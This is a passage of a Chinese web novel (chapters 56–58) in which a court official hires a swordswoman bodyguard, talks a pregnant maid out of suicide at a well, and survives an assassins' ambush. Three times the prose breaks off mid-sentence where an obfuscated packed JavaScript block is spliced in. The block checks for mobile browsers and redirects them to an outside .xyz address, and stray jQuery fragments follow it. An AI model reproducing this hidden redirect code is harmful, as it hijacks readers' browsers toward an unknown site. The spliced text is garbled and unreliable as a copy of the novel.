“奴婢就此向皇后娘娘告辞,愿皇后娘娘圣体安康,福泽万年!”乌嬷嬷起身,又再次缓而沉重地大拜。
窦皇后转过身,别过脸,不愿让人看到她眼里盈满了泪。
56. 第 56 章
帘子一拉开,春日的阳光倾泻满屋,窗外斜出几支灼灼桃花。
应子清看着这么清丽的景色,心情不由大好。
香巧进门,见应子清换了身朴素的罗裙,哎呀了声:“子清姐姐,你要出去吗?上次你从击鞠现场离开,太子殿下发了火,说以后不许你私自离开,叫我们看住你。”
“他忙着呢,注意不到我。”应子清站在铜镜面前打量打量。
香巧跟小猫似的,黏着她走路。
应子清拿个东西被她缠得碍手碍脚,失笑道:“你放心,庆帝身体又不好了,刚一开春,各地上报冬季过后的灾情,庆帝说太子既然行了冠礼,让他与薛宰相处理这些事务。你没见那帮大臣天天过来和他商议?他此刻,一点空也找不出来的。”
“不是啊,”香巧一脸不情愿,“语兰天天跑出去,你也要出去,只剩我一个人呆着。子清姐姐,我能不能跟你一起出去?”
“要是我出去做别的,带上你还可以,但今天不行,这事只能我一个人去。”应子清说话间戴上草帽,摸了摸她的脑袋,“我很快回来。”
为了不引起别人的注意,应子清从东宫的角门出去。
却不防见着正门那边,程飞三兄弟领着东宫亲卫,带着一个模样奇特的少年进来。
那少年一看,便知是异族。他身上的衣服破破烂烂,颈边缠着铁链,铁链将他的皮肤磨的皮开肉绽,少年浑不在意。一双眼睛,像是用毛笔饱蘸了黑墨,在白如初雪的宣纸上勾勒出来的,过于黑白分明。眼角飞扬,自生一股凌人的厉气。
程霆在一群挺拔魁梧的亲卫里,个头最矮,他三两步跑到异族少年面前,昂首嘱咐他:“苍凛,一会见到太子,你要下跪叩拜。你知道下跪叩拜是什么意思吗?”
被叫做苍凛的异族少年,粗声粗气答道:“知道!我会好好磕头,谢谢大晋太子救我!”
应子清放轻脚步,猫儿一样,一眨眼从角门消失。
刚走出东宫的那条大街,对面檐下,有人幽幽地唤了声:“灵清子。”
应子清吓了一跳,按住狂跳的心口。
无论多少次,她就是习惯不了,这灰衣小公公鬼魅一般凄怨的声音!
应子清抬起头,从草帽的帽檐下,露出一双清明的眼睛。
灰衣小公公见她听见了,不再呼唤,束手站在那里,静静等她过来,听他转达安景王的吩咐。
应子清清醒并且决绝地与灰衣小公公对视,随后干脆利落地掉头,与灰衣小公公擦肩而过。
不作片刻停留!
灰衣小公公眼睁睁看着她离去,不可置信地瞪起眼睛。
此人怎么回事?!
她、她分明看到他在此等候,怎么跑了?
安景王的吩咐怎么办?他该如何回禀姜泽语先生?
灰衣小公公呆愣在原地,稍作思索后,明白过来,灵清子在抗拒安景王的吩咐!
嗅出这种可怕的兆头,灰衣小公公羸弱的肩膀,微不可查地颤了颤。他只是传话的,此事他做不了主,只能实话实说。
街角那道不起眼的瘦小身体,转过脸,灰溜溜的小老鼠般,迅速离去。
应子清看似潇洒,甩头就走,其实她自己心中忍不住惴惴。
先是投靠人家,后是抽离,若是遇到的是个大度主公,也就随她去了。可是应子清直觉,安景王没那么好相与。
这也是她今天出门的目的。
正街上,骡车与行人,纷杂往来。
应子清用帽檐遮住脸,朝一个方向走去。
离大街越来越远,这是一处被繁华的长安城遗忘的偏僻坊间。路面破烂,干掉的黄泥形成坑坑洼洼的丘壑,沿街的小矮房人去楼空,坊墙倒塌破败,杂草丛生。
有条精瘦的大黑狗,在街坊与房屋里跑来跑去,翻找食物。
黑狗嗅觉敏锐,抬起一双铮亮犀利的眼,望向一个地方。
应子清从巷子里钻出来,乍然碰到野犬,她不敢随便乱动,免得激怒野犬,便站着与之对视。黑狗呲牙咧嘴,低声咆哮。
忽然,大黑狗仰起头,鼻子在空中嗅了嗅,像是察觉到更可怕的危险,它一溜烟儿跑掉了。
不远处,有飞鹰从天空落下。
再走几步,可以看到一幅写着“酒”的旗,在风中打着晃。
只有野犬才会到访的破败坊间,居然立着一间酒肆。
店内寥寥几个食客,各自坐在桌边,他们独酌一瓶酒,互不打扰。
应子清只身走入酒肆店内,却发现这些食客,虽然穿着粗布麻衣,但个个眼神精明,身姿矫健。他们的腰间,用麻绳粗布遮掩似的,裹着刀鞘。
见有生人到场,店内气氛瞬时一凝。
目光厉害的食客,将应子清通身一扫,察觉此人没有功夫在身,便继续喝酒。
应子清在店内站了一会,没有店小二招呼她,连那些食客观察她一会后,都做自己的事情去了。她反而觉得放松,决定自行四处看看。
这家酒肆奇特,没有名字,会来这里的,大多武功高强的武人。
这些武人不是出自军户,就是天生奇才。他们一般是被豪强豢养的门客,可惜犯了错,被赶了出去。他们在京城的这家酒肆里醉生梦死,等待下一个雇主,或是从此穷困潦倒,销声匿迹。
寻常人家不敢聘用他们,因为这帮武人身上,大多有一些不能见光秘密和罪孽。
应子清琢磨,灰衣小公公回去后,必定如实告知,假如安景王近期有所动作,那她就找一个武功高强的在暗地里保护她。
在酒肆里转来转去,应子清左右估量,总觉得那些武人,差了点什么。
有一个身量极为高大健壮的人,最朴素的编发于顶,也同应子清一样戴草帽,一直坐在角落。
那人不喝酒不饮茶,抱着刀鞘,垂头不语。
应子清真想问,朋友,室内戴帽子,你还看得见吗?
正巧,武人警觉,对方察觉到有人在看她,缓缓抬起脸。
居然是眉眼平整,五官大气的女武人。此人剑眉星目,眉宇英气,丹凤眼狭长,初见时难以辨其性别。
应子清吃了一惊,又去看她的个头。那女人身量竟有八尺,比刘之衍矮一截,但比大多数人高出一个脑袋。此人不仅身材高大,手臂块垒结实,一身劲装,勾勒出沉稳扎实的身型,看着很能打的样子。
这么打量几眼,应子清坐在她面前:“请问少侠贵姓?”
那武人看着应子清:“在下姓萧,风萧萧兮易水寒的‘萧’,萧萍山。”
……好一个壮士一去不复返。①
应子清笑了:“好,萧萍山,实不相瞒,近来我有麻烦事缠身,怕是要遭遇一些危险,想寻一武人随护左右。不知阁下武功如何?敢不敢接下这个任务,助我度过艰难之时?”
萧萍山端详应子清片刻:“我的这个‘萧’字,指的是,与我为敌的武人,只能不复返。”
好霸道的话!
在座的武人听了,冷哼一声,没有一个出声反对。
俗话说,同行最了解同行,既然旁的武人没反应,看来萧萍山有些真本事在手!
“好!”应子清当即不再犹豫,与萧萍山商议佣金。
萧萍山要价比市面贵了一倍。
谈话间,萧萍山把她臂里怀抱的刀,从一团粗麻中抽出,向应子清展示。
宝刀一出,酒肆里,满场是倒吸凉气的声音。
那是把玄铁黑刃,刀鞘上描金画银,纹刻了只威风凛凛的虎面。虎目目露凶光,血盆大口怒张,似要饮血。金色纹路若隐若现,宛如流动的隐秘杀意。
“宝刀配英雄。寻常武人碰都碰不见玄铁,更别说做武器。此刀难养,光是这点碎银,将将够养护之资。”萧萍山语气平平。
应子清好奇地从那玄铁黑刀上扫了几眼,点了点头。
听萧萍山这个意思,她不仅武功厉害,装备也厉害。
好像遇到一个不错的武人?
至于玄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951284|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁刀怎么来的,与萧萍山的过往有关,应子清亦不多问。
江湖的规矩如此,不该问的最好别问,知道越多,惹的麻烦越多。
萧萍山报的价,好大一笔银子!
应子清咬咬牙,付了一半酬金,荷包就被掏得一干二净,一个铜板都剩,她肉疼得紧。
萧萍山接了任务收了钱,带应子清去无人的地方,商议个中细节。
两人谈了半晌,萧萍山越听越觉得不对,眉心皱起:“等等,一般我不关心主顾的身份,只做任务即可。可听你的意思,你似是在宫廷走动?敢问,阁下叫什么,又是做什么的?”
对方的语气,听起来有些不愉快,该不会是想拒绝吧?
应子清只能说实话:“我叫应子清,在东宫任司直一职,近期惹了安景王的忌讳,怕有些难过……但我保证,你只是护卫我,那些乱七八糟的事,牵连不到你身上。”
江湖之人,最怕招惹官家事,应子清老老实实说完,心里不禁泄气,被萧萍山拒绝的可能性,有些大。好不容易遇到个武艺和装备,都很厉害的,难道她要重新找?
应子清不想再换,忍不住又道:“你不要担心……”
半晌,萧萍山眸光一沉,冷冷打断:“我不担心,接了任务就是任务,我会保护你。听说王府侍卫武艺高强,我倒想会一会!”
江湖武人,战胜王府的顶尖高手,是有成就感的。
好有战斗力的萧萍山!
应子清被她的豪情感染,不禁笑起来:“好,就这么说定了!”
本以为能神不知鬼不觉地出去回来。
应子清刚从东宫角门钻进去,迎面撞上刘之衍与谢言昭。
他们特意从书房出来,到角落谈一些事。
应子清戴着草帽,行踪鬼祟,骤然见到最不想碰见的人,冷汗一下出来了。
她心底暗道糟糕,也不知道从什么时候起,她无形间畏惧起他来。刘之衍总在一些软处拿捏她,她想反抗挣扎,也抓不到具体的事情。
应子清想把心一横,假如刘之衍提起她为什么出去,她就辩解说她每个月有两天的假期,凭什么不能出去。
偏偏刘之衍好似知道她想说什么,根本不过问,他暂停了说话,冷淡地看着她。
那双黑漆漆冰冷的眸子,雪亮亮的,带着刀锋闪亮之意。
应子清在他无言的盯视下,自己先败了阵,灰溜溜过去了:“问太子殿下安,问谢大人的安。”
谢言昭一见应子清,温润的眸光闪烁了一下,垂眼避开。
刘之衍看了她半晌,把手中的奏折,递给应子清:“你看看这个。”
谢言昭欲言又止,他竟没想到,太子会如此大方地把奏折给他的女官看。
应子清捧了读了会,越读越觉得眼熟。
各地上报加急文书,阐述当地受雪灾的灾情,而这份奏折是关于赈灾的方案。
赈灾救济不稀奇,稀奇的是,这份方案,思路清晰,条理分明,从调配物资道人员安置,从防治疫病到灾后重建,每一份资源都用在刀刃上。
很像她写给普济寺的那张慈善救济实施方案,但是全国版!
此方案增加了许多细节,许多地方比她考虑的周全。
普济寺只是个小地方,用不着那么多花花。但涉及州县那么大的地方,要考虑的事情就多了,应子清自问不如此人得体周全。
应子清抬眼看了下谢言昭,回头对刘之衍笑:“很好的奏折。”
“是谢大人写的。”刘之衍介绍。
应子清当然知道,在场的,只有谢言昭见过她写的东西。她清淡的眉梢微微扬起,水珠一样清澈的眸子,直直看着他,嘴角噙着不明显笑意。
但,在谢言昭看来,应子清此时的笑,是在笑话他。明明之前教训应子清、高高在上的模样,转头又觉得人家的谋划奇妙,不打招呼借之一用,然后又被主人看到。
谢言昭细白的耳朵微微发红,眼眸垂得更低,不敢看她。
57. 第 57 章
高大的身影,往前一站,挡住谢言昭的视线。
刘之衍揪住应子清的草帽,往下一拉,遮住她的脸:“谢大人连夜写出来的计策,自然不错。我们这么忙,你怎么好意思出去玩。”
“……”应子清眼前一黑,手忙脚乱,想把草帽拿开,“我没玩!”
刘之衍仗着比她高,比她力气大,一手搭在她肩膀上,把她往回带:“那你给我说说,你去哪了?”
应子清终于出一线光明,她喘口气:“为什么要告诉你?”
刘之衍冷笑了声,又把草帽盖住她的脸:“那你今天别想摘了这帽子。”
应子清没好气:“……你不要威胁我!”
两人闹腾着,刘之衍不知不觉,将她半抱在怀里。应子清蒙在黑暗里,挣扎不休,耳朵脸颊绯红一片。
怀中的少女温软,让人心动神驰,刘之衍都不敢太过用力。可是应子清越是挣扎,身上带着露珠的清新柔软气味,越是往他心底钻。古书所说温香软玉真的,莫名的,刘之衍想到这句话。
刘之衍瞥见她光洁莹润的脸上,浮起细腻的红,看得人心里一动,让人想捉弄她一下,使个坏。
这么轻盈又这么软乎,天天不知危险,大大咧咧往外跑,也不知道是谁惯的毛病。刘之衍心中动气,眼神一暗,伸手在她耳垂捏了下。应子清发出一声痛呼,他的手一松。
刘之衍勉强绷着冷硬的声音;“不想被惩罚,你就老老实实给我交代。”
两人吵吵闹闹,越走越远,刘之衍揪住应子清回书房。
梨花洁白如雪,花影稀疏,微风徐徐吹过,淡雅的清香,盈满鼻息之间。
谢言昭一袭天水碧色圆袍衫,肩膀落着几朵白梨花瓣。
春日明媚,濯濯公子立于梨花树下,风雅之极。
但这位公子的脸色不太好,谢言昭看着书房的纱帘掀起又落下,两人嬉闹的声音渐渐变小。
那书房敞着窗,里面有宫女太监,人来人往,太子应该是与她玩闹,没有多余的意思。
再次朝书房看过去,谢言昭手指紧了紧。
上了马车,谢言昭坐在车内,从怀中拿出几张黄纸,在手心里展开。
黄纸是最便宜的纸,有絮毛边,容易破损。善济长老与应子清都没有保存的想法,应子清不过信手一写,因而不大在意用的什么纸张。
这么容易破损的纸,被谢言昭保存得很好。
上面的字迹,秀气稚嫩,然而笔势如飞,能看出此人天生的灵动生气。
一开始,谢言昭没把应子清的方案当回事,回家后,把几页黄纸随手一扔。收到各地上报来的灾情,谢言昭在心里,细细拟着奏折,忽而想起应子清写的计策。
他的书童丹墨原先担心谢言昭还有用,把黄纸收了起来。见谢言昭大半夜不睡觉,忙忙在书房找个底朝天,丹墨赶紧送上。
大深夜,点着一盏烛灯,谢言昭越看越觉得惊叹,他以应子清那张谋划为雏形,初拟了份赈济安民之策。
奏折落下最后一笔,谢言昭忽而琢磨,应子清那句结交,是否还作数?复而又想到,应子清被他说得小脸憋得通红、仍然忍了下来的模样,谢言昭有些无颜。
谢言昭递了奏折,其实也打算把他对应子清计策的欣赏,告诉太子。却不防,在毫无准备的时候见到应子清。
两人见了面,没说上一句话,又分开了。
什么都没解释清楚,徒然给应子清留下这么一个印象,令人如鲠在喉。
方才应子清嫣红的唇边噙着意味不明的笑意,好似一把火,舔舐谢言昭的心底,让他焦灼不安。
思来想去,谢言昭希望把话说清楚。
“先叫马夫等等,”谢言昭语气犹疑,对丹墨吩咐,“别往前走,转头回一趟东宫。”
一旁的丹墨吃惊反问:“啊?公子,我们刚从东宫出来啊!有什么东西落了?小的去取吧!”
“不,”谢言昭仍是迟疑,“我、我回去找一人说话。”
“找谁啊?”丹墨问。
“找东宫的……”谢言昭抿住嘴唇,住了口。
谢言昭不希望别人知道,他是去找应子清。若他打道回东宫,是要通报给太子的。太子若是问他有什么事,难道他对太子说,他找应司直有话?
到底男女有别,他巴巴地找上去,万一给应子清惹出闲言碎语,怎么办?
谢言昭自幼年起,全副心思倾注于经史子集、各门各派的经典,一心一意专研学问。刘弘煦曾经笑话他,说他是个书呆子,于男女之事上一无所知,日后若是遇到心仪女子,他必定手足无措,闹出大笑话。
谢言昭只当是狐朋狗友的打趣之言,不曾放在心上。
如今想想,刘弘煦说得不错。简简单单能说开的一番话,放应子清身上,让他反反复复斟酌,怎么思虑,都觉得不妥当。他做学问,也没有这么纠结。终究,是他没有与女子相处过的缘故。
丹墨等了谢言昭半天,见他还是举棋不定的模样,忍不住提醒:“公子?咱们的马车在道上堵着呢,我们还去东宫吗?”
谢言昭清俊的眉间轻拧,他看了丹墨半晌,叹气:“不,回去吧。”
应子清与刘之衍在书房闹了一阵子,薛宰相进来取奏折,刘之衍有正经事要忙,只得放过她。
到了晚间,刘之衍仍在书房,与一众大臣忙碌商议。
应子清招呼东宫其他人先吃饭,不用管他们,等吃完了,再给书房众位大臣送饭去。
桌案边的坐褥,差不多坐了人,独独空缺了一个。
应子清问:“语兰呢?这么晚,该回来了吧?”
张泰耀笑着回答:“我们一起回来的,又不知道上哪去了。”
香巧停了筷子,冲她道:“她说不舒服,晚上不想吃饭。”
“哪里能不吃东西?”应子清做主道,“给她留一碟糕点,要是饿了,她就知道吃了。”
晚上,应子清因为喝多了水,睡一半醒了,郁闷地起来去上厕所。
她披上外衣,轻手轻脚出来,只见栅格子窗外,幽幽飘过一道诡异的白影。
应子清心里咯噔一下,眨了眨眼,再看过去。
月亮洒下雪亮银辉,落在飘渺的白影上,显眼极了。
不是错觉,真有一道白影!
应子清差点吓软了腿,这、这是遇到了鬼?!
白影还在向前移动,应子清借着月光,看清楚了白影下的脚,那人穿着绣鞋,踉踉跄跄走着。
有脚就不是鬼,看身量步态,像是女子。
应子清心中仍是怯怯,口中默念各种佛号,打定主意,下次找善济大师要菩提子手串,驱邪避凶!
她拉紧外衣,无声推开门,准备过去看看。
应子清小心翼翼跟了她一路,那女子似在落泪,抽泣着耸动肩膀,一步一趋,向月亮与宫灯也照不到的黑暗角落走去。
这角落太偏僻,平日里谁也不往这里。应子清想了半天才想起,这是什么地方,那里有一口深井!
大晚上的,这女子去井边做什么?
不等她胡乱思索,眨眼间,白衣女人迅速隐没于黑暗之中。
应子清眉稍狠狠一跳,当即奔跑而去。
她跑得太快太及时,捉住白衣女人下坠的手臂,从井口往上拉。
是语兰,她跳井了!
旁边是东宫的花苑,这口井是平日里浇花用的,地方偏僻,正好在屋子的暗处。
浇花的侍者,三五日才来一回。
若是语兰落入井中,早就死透了!
“语兰!”应子清用足了全力,死死拉住她,咬牙切齿道,“你干什么!你给我上来!”
“子清姐姐,”语兰含悲带怯,双目紧闭,“我没脸见人了,你放我去了吧。”
“胡说,你怎么能做出这等事?”应子清勃然生怒,“自戕啊!有什么天大的事情过不去!”
自她睁开眼睛来到这大晋朝,哪怕前路荆棘丛生,她也没想过退缩。再世为人,她更觉得人生珍贵,因而生怒。
可应子清见语兰泪眼愁眉,她继续动怒责怪,反而会添乱。
心存死志的语兰,一定非常绝望,她最需要的是理解和陪伴,需要生出对这个世界的渴望,而不是用恶言恶语,将她推得更远。
再三沉了沉气,应子清那双明眸眼睛,如同冬日里最冷最亮的星子:“语兰,你听着,不论你犯了什么错,重要的是勇于承担错误,我会陪着你一起想办法。”
语兰默不作声,轻轻摇头。
应子清浑身的力量,都用在捉住语兰的手臂上,一个下坠的人非常沉重,应子清很吃力:“我想听你说,为什么你会做出这种决定?”
“告诉我,你喜欢什么?”应子清问。
语兰苍白的脸上,瞬间滚出热泪。
她还有喜欢的事物!但那个事物伤她很深!
应子清又问:“你有没有想完成的事?”
语兰迟疑了。
应子清心中把握越来越大:“我陪你试一试?把那个事情完成,怎么样?你相信子清姐姐吗?我应该什么都能做到,我做不到的话,我们一起求求太子开恩……你总不会想要皇位吧。”
应子清有意开开玩笑,语兰没跟着笑,不过她的神色,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954560|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有刚才那么痛苦。
瞅准这个时机,应子清带着她的手臂往上一提,几乎是命令的口吻:“跟我上来!”
语兰不自觉服从她的话,用力搭住井口,借由惯性的力量,两人从井口挣脱,纷纷滚到草坪上。
应子清怕她再度想不开,忍着用力过度后痛楚,颤抖着双手抓住她。
现在不是休息的时候,应子清喘了会气,慢慢挪过去,抱住语兰的肩膀:“说吧,你想做什么事?”
“子清姐姐,”语兰心中愧疚,喉咙哽咽,“我犯了大错,我不敢面对……”
应子清轻柔地答应一声:“嗯。”
在她充满包容理解的怀抱里,语兰眼中的泪水,淌个不停。
犯错太可怕了,代价唯有死才能抵消。也许死了也不会,不是还能变成鬼吗?她做下这等错事,只会被千夫所指,每个人都骂她,看不起她,家里人也不会要她,羞于提及她。只有温柔的子清姐姐愿意救她,抱住她,听她说话,宽容她的错处,手把手教她。
语兰抽泣着,断断续续说出她的难言之隐:“我有一个月没来月事……”
应子清顿了顿:“也许是推迟?”
“我、我,”语兰摇头,嗫嚅道,“距离那天,快有一个多月了,我怕是有了。我不敢去看大夫,我是宫女,怎么能有?哪怕殿下饶了我,也只能把我赶回去……我家里人是不会要我的。”
未婚先孕,渣男隐身,语兰独自面对……应子清听了半天,终于听出这个意思。
哪怕是现代,也很棘手的一件事,何况古代对女性的道德枷锁那么重。
见应子清沉吟不语,语兰心中悲凉,嫌弃她也是应该的,谁叫她不知检点?
但应子清却说:“你没听我刚才说吗?犯下错误不可怕,重要的是我们如何承担与面对。你放心,天塌不下来。”
“你不嫌弃我吗?”语兰的眼泪流得更凶了。
“不,这算什么?这事儿不是你一个人的错。”应子清叹气,又道,“算了,我们先处理最紧要的事。你刚才说没找过大夫,你不要害怕,你心里有压力,月事推迟是很正常的。我们先去看大夫的诊断再说。”
语兰摇摇头:“如果让太医知道了,我留不下来的。”
应子清琢磨一下,觉得语兰考虑得不错。她觉得此事没什么大不了,别人不见得那么想。好好的一个人,也会被流言蜚语重创,何况语兰快把自己自责死了。
应子清定好主意:“不如这样,明日我找辆马车,陪你出去宫外找大夫,如何?”
两人商量好,应子清把自己的外衣披在语兰身上,嘱咐她说:“一会你回去,要是有人问起,就说出来碰见我,在月色下,陪我聊了会天。我们神不知鬼不觉地把此事办好,好吗?”
应子清盯着她,语气凝重:“语兰,不论如何,放弃生命很不应该。”
语兰慢慢收了眼泪,乖乖点头,她被子清姐姐照顾着,一整夜冰凉的身子,渐渐有所回暖。
第二天一早,应子清与语兰换了身装扮,她带着语兰熟门熟路地从东宫角门出去。
外面停了辆马车,萧萍山正坐在马车里。
语兰上了车,见那么高大的人在里面,以为是个男人,吓了一跳。
萧萍山拇指把头上的草帽一顶,露出脸。语兰才发现原来是位女子,而且是如此高大的女子。
“这位武人叫萧萍山,是我从酒肆里聘请来的,武功很高强。”应子清介绍,“别怕,往我这边坐。”
语兰轻手轻脚地往旁边一坐,她不知道为何子清姐姐要聘请武人保护,也不敢随便问。
萧萍山沉默寡言,抱着玄铁刀,闭目休息。
路上,马车平稳行驶,摇摇晃晃的很催眠。时间一长,应子清与语兰放松下来,闭着眼睛眯一会。
有一缕风,从车帘钻了进来,萧萍山猝然睁眼:“出事了!”
应子清睡得半梦半醒,被萧萍山声音一惊,心中狂跳:“怎么?”
“车夫被劫杀!”萧萍山掀开车帘,在前方驾马的马夫,脖颈被一道冷箭贯穿。然而他还坐在马夫的位置上,
疾驰的马蹄,仍在向前奔跑,宛如一辆走向死亡的马车。
“有埋伏!”萧萍山骤然拔刀,黑亮凌厉的刀锋,擦过车帘,当即被劈成两半。
惊惶之间,马匹嘶鸣,马车遽然一翻。应子清只觉得天旋地转,身体不受控制地向后仰倒,她想抓住什么东西稳住,可是什么都没抓住。
不可控的力量将车内的物什甩出,车身与断木零乱地四处飞散,应子清只觉得脖颈一冷,耳边充斥语兰尖锐高昂的惊叫。
58. 第 58 章
萧萍山伸臂一挥,玄铁黑刀及时将箭矢斩断。
断裂的箭矢一分为二,尖锐的箭矢头部,裹挟流星赶月之势,疾射而来,擦过应子清喉间,她的脖颈一侧迸出血线。
鲜红的血,顺着雪白皮肤蜿蜒而下,刺目极了。
应子清随手一抹,刺痛感强烈,她微微皱一下眉。这一冷箭冲着见血封喉来的,如若命中,她会当场毙命,这是不留活口的做法!
萧萍山一把拽住应子清,拉入一株粗壮的树后躲避:“约有一队人,看着像死士!”
培养一个死士,绝非易事。这些人做的是有去无回的买卖,非得忠心耿耿、心存死志,方能成就一名真正的死士。
一队人,就是十二个。
她想过安景王会派人追杀她,但没想过有这么多人来追杀她。应子清自问,她一个无名小卒,何德何能,竟能引来十二位死士精心伏击。
“这些是王府死士……对手,已经超过我们的协商要求。”应子清犹豫,“若你觉得太危险,我可以增加酬金……”
“不必多说,我萧萍山遇险,从没有退缩之意,”萧萍山英朗的眉峰一挑,语气平稳得让人安心,“你放心,一诺千金,有始有终!”
“好!”危机在前,应子清亦不客气,能得萧萍山的保护,她心中感激。
这是一片郊区野林,平日极少有人经过。
春日的榆树,葱葱郁郁,野草丛生。这些野草高约一尺,枝叶颀长硕大,草茎坚韧,有茂密的野草作遮挡,极难被人发现。
应子清借着草丛的遮挡,在四周迅速扫视一圈,没看到语兰。她应该是在马车翻车后,找一地方躲了起来。死士的目标是应子清,只要语兰不莽撞现身,应无大碍,她希望语兰找到空隙,自行逃跑。
死士着一身纯黑劲装,黑布覆面,以防打草惊蛇,他们提着刀,放轻脚步声,四处搜寻。
禽鸟最为机警,察觉此处有危险,早早展翅逃离。
没有鸟鸣,榆树在微风的吹拂下,簌簌作响。
四周安静极了,过重的呼吸声,也能成为巨响。
应子清紧张,心脏跳得极快,她注意着在附近游走的黑衣死士,感官不自觉放大到极致,唯恐错过一丝一毫,怕黑衣死士发现她,走近她。
死士搜寻的时间越长,范围越广,应子清越觉得不妙。
她们是笼中之鸟,呆在这里不过引颈受戮,迟早会被发现!
果然,下一刻,有个黑衣人离她们越来越近。
因为应子清感官无限放大的问题,黑衣死士踩断枯枝,发出可怕的声音,能让她的呼吸一窒。
萧萍山冷静许多,她这个人想到什么,当即就会做出动作。
“我出去引开他们,你找到机会逃跑!”掷下这句话,萧萍山劈刀一斩,冲那黑衣死士杀去。
玄铁黑刀不愧是宝刀,削铁如泥,黑衣死士冷不防受到攻击,瞬间失去战力,仰身倒下。
然而萧萍山此举,亦是引来其他黑衣死士的注意。
众人挥刀赶来,与萧萍山纠缠到一起。
冰冷的武器,发出刺耳的相接之声。
生死有时候非常复杂,又很容易,利刃划过咽喉,就是一条人命。
这是应子清第一次看到活生生的人死去,虽然死士是来杀她的。
萧萍山果然有以一敌百的神勇,数位黑衣死士围攻缠斗,居然渐渐落于下风。
应子清用力闭了闭眼,她武不能打,但绝不要成为拖后腿之人!
此时,浑身已经紧张到极致,应子清没有莽撞,她仍然保持掩藏在野草丛中的姿势,悄然转向相反的方位,抬脚狂跑。
死了几个,萧萍山缠斗几个,然而死士最初有十二个!
不是所有死士都跑去围攻萧萍山,他们的任务,不是保护队友的小命,而是诛杀应子清!
应子清再怎么小心,她逃命之际,还是露出痕迹。
耳聪目明的死士注意到她,当即抽离缠斗,迅速向应子清飞奔而去。
冷汗淋漓,她分不清楚这分枝踏叶的声音,到底是黑衣死士,还是自己的脚步声。
忽然,听见利刃破风之声,应子清心脏高高悬起,身体往旁边一滚。
雪亮的刀刃,划下一片裙裾。
黑衣死士见一击不成,再次追上。
应子清早从腿边抽出匕首防身,可是与杀人的长刀相比,不亚于幼童的玩具。
榆树林枝繁叶茂,遮天蔽日,脚边尽是巨蛇一般的野草荆棘。
长时间奔跑,她的力气渐渐告罄,速度有了缓慢的迹象。
她该如何应对!
黑衣死士知道,她只不过是手无缚鸡之力的女子,动作不紧不慢,追得越来越紧。
应子清急得发狠,眼看身后的人又想一刀劈下,她突然跳上一块巨石,却不是攀爬上去,而是脚踩巨石,借力一跳。
早早准备好的匕首,横于眼前。应子清借助起跳的力量,反身一回手,在黑衣死士的胸前,狠狠划下一道!
黑衣死士没想到她临死前,还有勇气反击,因而在毫无防备的情况下,被她狠狠刺伤。
应子清此举,也是抱着同归于尽的心思。
当她拼尽全力一击之后,手脚发软,落回地面上。
再没有多余的力气了。
或许,这就是她丧命的一刻,应子清无力想到。
一道轻笑声,传入两人的耳朵。
应子清心中绝望,一个都没打倒,又来一个?!
却见那高挑的男子慢慢走出,以保护者之姿,将应子清护在身后。
他手中握着一把莹亮如冰泉的长剑,对准黑衣死士。
是刘之衍。
应子清紧握住匕首,双手微微发抖,说不清楚是激动还是什么。眼前再也看不见别的,她怔然地望向那道令人安心的背影,满脸不可置信。
“还能反击,够凶,不错。”刘之衍语调略带调侃,但手上没有一丝一毫的放松,紧紧握住剑柄。
刘之衍将长剑挥出,雪亮剑光恰如一泓冰水,凌空划出一道清冷光辉,黑衣死士用长刀横于臂上,反手抵挡。
刘之衍的宝剑,不是凡物,瞬即在黑衣死士的刀刃上,劈出一道豁口。
“认得我吗?我是东宫太子,我的暗卫已在四周埋伏。”刘之衍傲然道,“既然是死士,那就不留一个活口。”
应子清听得一喜,随即又觉得不对。
倘若夜鹰与一众暗卫在此,怎么可能让刘之衍以身犯险?
“死对死士而言,岂不简单?我改了主意。”刘之衍复又冷笑,“我预备将你们通通拿下,留下你们的口供,成为你们主公的罪证!”
黑衣死士顿时眼露绝望,踏上这条不归路,他们早就接受死亡,但不能接受对主公背叛与倒戈!
再扫一眼刘之衍闪烁寒光的宝剑,与自己血淋淋的心口,受伤的他怕是难有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965050|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一战!
他不能被生擒,黑衣死士露出的那双眼睛,闪过一丝决绝的光泽:“休想!”
竟是自行咬破舌下藏匿的毒丸,毒发身亡。
刘之衍面色仍是冷峻,一丝不苟,将宝剑稳稳收入剑鞘。
应子清三两步走到他身边,两人的脚步没有丝毫停顿,继续往前跑。
“你根本没带暗卫,对不对。”应子清非常小声地问。
刘之衍意外,她竟能听出来他故弄玄虚:“有一个,常在你身边跟着的暗卫,我已经叫他去搬救兵。只要我们撑住,等他们来即可。”
来不及问,什么时候有暗卫跟在她身边了?应子清忍不住想到另一件事,所以,刘之衍三言两句骗死死士……
他们没跑多远,三个黑衣死士从树上,纵然跃下,拔刀相迎。
